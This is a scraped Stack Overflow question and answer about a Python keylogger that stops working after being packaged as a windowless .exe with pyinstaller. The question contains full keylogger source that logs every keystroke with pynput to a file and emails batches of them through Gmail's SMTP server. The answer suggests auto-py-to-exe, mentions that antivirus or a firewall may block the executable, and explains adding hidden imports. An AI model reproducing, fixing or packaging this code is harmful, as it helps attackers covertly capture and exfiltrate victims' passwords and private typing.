问题
I was working with a keylogger code in python 3.5. It records keystrokes with pynput in a txt file and also sends the keystrokes recorded via email with smtplib. The code works correctly as it should when it is a .py file but doesn't record keystrokes in a file nor sends them through email when converted into a .exe file with pyinstaller. Please help me find out what's causing this problem and fix it. Thank you for looking into this matter. Have a good day! I used the command pyinstaller - w - F filename.py to convert it.
from pynput.keyboard import Listener
import smtplib
#Var that counts for the if statement==========
c = 0
#Var that collects keystrokes for email========
strokes = ''
#Codes for the smtp email======================
serv = smtplib.SMTP('smtp.gmail.com', 587)
serv.ehlo()
serv.starttls()
serv.login('email@gmail.com', 'password')
#Function for writing keycodes to the file=====
def writeToFile(key):
global c, strokes
keydata = str(key)
keydata = keydata.replace("'","")
`enter code here`#Special keys decoder===========================
if keydata == 'Key.space':
keydata = ' '
if keydata == 'Key.shift_r':
keydata = ' (r_shift) '
if keydata == 'Key.shift':
keydata = ' (l_shift) '
if keydata == 'Key.ctrl':
keydata = ' (l_ctrl) '
if keydata == 'Key.ctrl_r':
keydata = ' (r_ctrl) '
if keydata == 'Key.enter':
keydata = ' (enter) \n '
#Opens or creates the log file===============
with open("log.txt", 'a') as f:
f.write(keydata)
c += 1
#Keystrokes are added for the email==
strokes = strokes + str(keydata)
#Condition for sending the email=====
if c >= 10:
print(strokes)
c = 0
serv.sendmail('email@gmail.com', 'receiver@gmail.com', strokes)
serv.close()
#For listening to keycodes==================
with Listener(on_press=writeToFile) as l:
l.join()
回答1:
1-for me pyinstaller was a headache for me, use auto-py-to-exe tool it will help you. 2-when running .py file ,It is telling pc : I am under python's interpreter lead so i have all python's Access . but when running exe it is unknown software ,so check if anti-malware software/firewall is blocking you exe software.
Auto-py-to-exe helped me to convert py to exe. at first, my exe didn't work and after some search i found out that most of problems are because of hidden imports/files and you have to add them manually . so how to do so in auto-py-to-exe ?
to add the modules using the auto-py-to-exe :what modules are you using? for example: if you need to install the requests lib to make the code work,then use the auto-py-to-exe and there is option to add files ,use it to add the requests from the site-packages folder
for additional help and explaination +auto-py-to-exe troubleshooting This will help
来源:https://stackoverflow.com/questions/57239618/codekeylogger-converted-into-exe-with-pyinstaller-not-working-as-it-was